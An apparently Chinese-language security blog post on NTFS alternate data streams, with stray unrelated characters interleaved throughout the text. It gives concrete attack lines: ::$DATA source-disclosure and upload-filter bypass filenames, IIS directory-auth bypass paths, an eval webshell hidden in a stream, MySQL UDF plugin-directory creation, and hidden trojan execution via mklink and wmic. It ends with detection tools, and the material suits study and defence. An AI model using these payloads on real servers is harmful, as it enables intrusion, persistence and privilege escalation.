是什么
NTFS交換數(shù)據(jù)流(alternate data streams
簡稱ADS)是NTFS磁盤格式的一個特性咱筛。
- 一個完整的流的格式為:
<filename>:<stream name>:<stream type>
- 主流即我們平時可以看見的可以存儲數(shù)據(jù)的文件她肯。而非主文件流寄宿于主文件流中颂跨,無法直接讀取盛撑。
- 修改宿主文件的內(nèi)容或流的內(nèi)容势决,不會對彼此造成影響侠仇。
- 流類型總是以
$
符號作為開始,NTFS文件系統(tǒng)中的文件至少包含一個主流乳乌,也就是data流($DATA),默認(rèn)流名為空市咆。 - ADS可以省略流名汉操,但不能省略流類型。
- NTFS文件系統(tǒng)中的文件夾沒有data流蒙兰,但可以指派data流磷瘤,文件夾的主流為directory流(
$INDEX_ALLOCATION
),流名默認(rèn)為$I30
怎么用
CVE-1999-0278
訪問http://host/global.asa::$DATA
搜变,影響IIS3/4版本
IIS在處理文件請求時會先判斷文件擴(kuò)展名是否在可執(zhí)行文件擴(kuò)展名列表中采缚,如果存在,則執(zhí)行并返回結(jié)果挠他,如果不存在扳抽,則直接返回文件內(nèi)容。
NTFS文件系統(tǒng)支持在文件中包含額外的數(shù)據(jù)流殖侵。$DATA
是在NTFS文件系統(tǒng)中存儲數(shù)據(jù)流的屬性贸呢。
當(dāng)我們對一個在NTFS分區(qū)中的ASP文件發(fā)出包含$DATA
請求,IIS會檢查最后一個“.”后面的擴(kuò)展名拢军,因為多了::$DATA
楞陷,結(jié)果IIS不認(rèn)為這是一個ASP文件,而文件系統(tǒng)可以識別該請求茉唉,于是返回ASP的源代碼固蛾。
IIS目錄訪問權(quán)限繞過
在IIS6.0+PHP
、IIS7+asp
赌渣、IIS7.5+php
的環(huán)境下魏铅,如果目錄是通過HTTP Basic來認(rèn)證,假設(shè)網(wǎng)站根目錄存在index.php
文件坚芜,可通過構(gòu)造如下方式來繞過認(rèn)證直接訪問目錄下的文件览芳。
/admin::$INDEX_ALLOCATION/index.php
/admin:$i30:$INDEX_ALLOCATION/index.asp
上傳繞過黑名單
在測試中我們發(fā)現(xiàn)如果上傳的文件名字為:test.php::$DATA
,會在服務(wù)器上生成一個test.php的文件鸿竖,其中內(nèi)容和所上傳文件內(nèi)容相同沧竟,并被解析。
假設(shè)我們需要上傳的文件內(nèi)容為:<?php phpinfo();?>
下面是上傳是會出現(xiàn)的現(xiàn)象:
上傳的文件名 | 服務(wù)器表面現(xiàn)象 | 生成的文件內(nèi)容 |
---|---|---|
Test.php:a.jpg | 生成Test.php | 空 |
Test.php::$DATA | 生成test.php | <?php phpinfo();?> |
Test.php::$INDEX_ALLOCATION | 生成test.php文件夾 | |
Test.php::$DATA\0.jpg | 生成0.jpg | <?php phpinfo();?> |
Test.php::$DATA\aaa.jpg | 生成aaa.jpg | <?php phpinfo();?> |
注意:
對于windows環(huán)境的服務(wù)器缚忧,上傳test.php:.jpg
類型的文件悟泵,當(dāng)文件傳到服務(wù)端時,windows會將該文件識別成ADS闪水,從而認(rèn)為其宿主文件名為1.asp
而將.jpg
識別為流名糕非。
通過notepad test.php:.jpg
可以查看內(nèi)容,所以test.php
內(nèi)容為空是正常的。
然后修改上傳的文件名為test.>>>
或者test.<
朽肥、test.<<<
禁筏、test.>><
再上傳,會重寫test.php
衡招。原因是在PHP+IIS的環(huán)境下篱昔,"
同義.
>
同義?
<
同義*
隱藏webshell
在服務(wù)器上echo一個數(shù)據(jù)流文件進(jìn)去,比如index.php是網(wǎng)頁正常文件始腾,命令如下:echo ^<?php @eval(request[cmd])?^ >> index.php:hidden.jpg
這樣生成了一個不可見的shell hidden.jpg
州刽,type dir del
命令都不行。
利用文件包含<?php include('shell.php:hidden.jpg')?>
就是一句話浪箭。
mysql中的udf提權(quán)
如果數(shù)據(jù)庫用戶對數(shù)據(jù)庫mysql(注意指的是數(shù)據(jù)庫里的默認(rèn)庫mysql)具有insert和delete權(quán)限穗椅,就可以創(chuàng)建加載自定義函數(shù)。
而又因為mysql服務(wù)是以system權(quán)限運行在windows主機(jī)上山林,所以這個時候我們就可以通過自定義函數(shù)以system權(quán)限執(zhí)行命令了房待。
Mysql 5.0.67之前邢羔,DLL的導(dǎo)入目錄是C:\windows\system32
從MySQL 5.1開始驼抹,要求目錄必須是mysql目錄下的lib\plugin\
目錄,而且mysql 5.1之后的常用安裝版本是默認(rèn)不存在lib\plugin
目錄的拜鹤。
執(zhí)行sql語句show variables like '%plugin%';
查看目錄位置框冀。
利用ADS依次創(chuàng)建lib、plugin目錄
select 'xxx' into outfile 'E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
如果創(chuàng)建失敗的話敏簿,執(zhí)行show variables like '%secure%';
看看secure_file_priv
的值:
- null表示限制mysqld不允許導(dǎo)入導(dǎo)出
- 當(dāng)
secure_file_priv
的值為/tmp/
明也,表示限制mysqld 的導(dǎo)入導(dǎo)出只能在/tmp/目錄下 - 當(dāng)
secure_file_priv
的值為空,表示不對mysqld的導(dǎo)入導(dǎo)出做限制
隱藏exe文件
type muma.txt test.txt:muma.exe
在xp中可以用start test.txt:muma.exe
執(zhí)行惯裕,但是win7以上這樣執(zhí)行會報錯温数。
win7及之后的系統(tǒng)的正確姿勢如下:
創(chuàng)建一個符號鏈接文件test.exe,鏈接到寄生的交換數(shù)據(jù)流可執(zhí)行文件test.txt:muma.exe上:mklink test.exe test.txt:muma.exe
蜻势,然后執(zhí)行start test.exe /b
即可
更新一個方法:
wmic process call create "C:\ProjectCode\test\test:putty.exe"
在WinXP中撑刺,可執(zhí)行文件可以和文本文件一樣實現(xiàn)真正的隱藏,這可能也是當(dāng)時大多數(shù)殺毒軟件添加數(shù)據(jù)流病毒查殺功能的原因握玛;在Win7之后的系統(tǒng)中够傍,微軟可能出于安全考慮,不允許直接運行交換數(shù)據(jù)流可執(zhí)行文件挠铲,必須要創(chuàng)建符號鏈接冕屯,這個符號鏈接是可見的(當(dāng)然可以使用其他手段隱藏這個符號鏈接),并且這個符號鏈接創(chuàng)建出來后不能復(fù)制到其他地方拂苹,只能在創(chuàng)建的那個位置使用命令行方式調(diào)用(鼠標(biāo)雙擊會報錯)安聘。
怎么查
使用這兩款小工具配合進(jìn)行檢測和清除寄生的交換數(shù)據(jù)流
https://pan.baidu.com/share/link?shareid=134850&uk=1108295926
labs.exe
檢測,streams.exe
進(jìn)行清理。
還有一個叫做AlternateStreamView的工具也可以
參考
http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=3442
https://www.qingsword.com/qing/812.html
https://www.i0day.com/733.html
《NTFS ADS帶來的WEB安全問題》浴韭,作者Pysolve
https://klionsec.github.io/2017/11/13/ntfs-streams/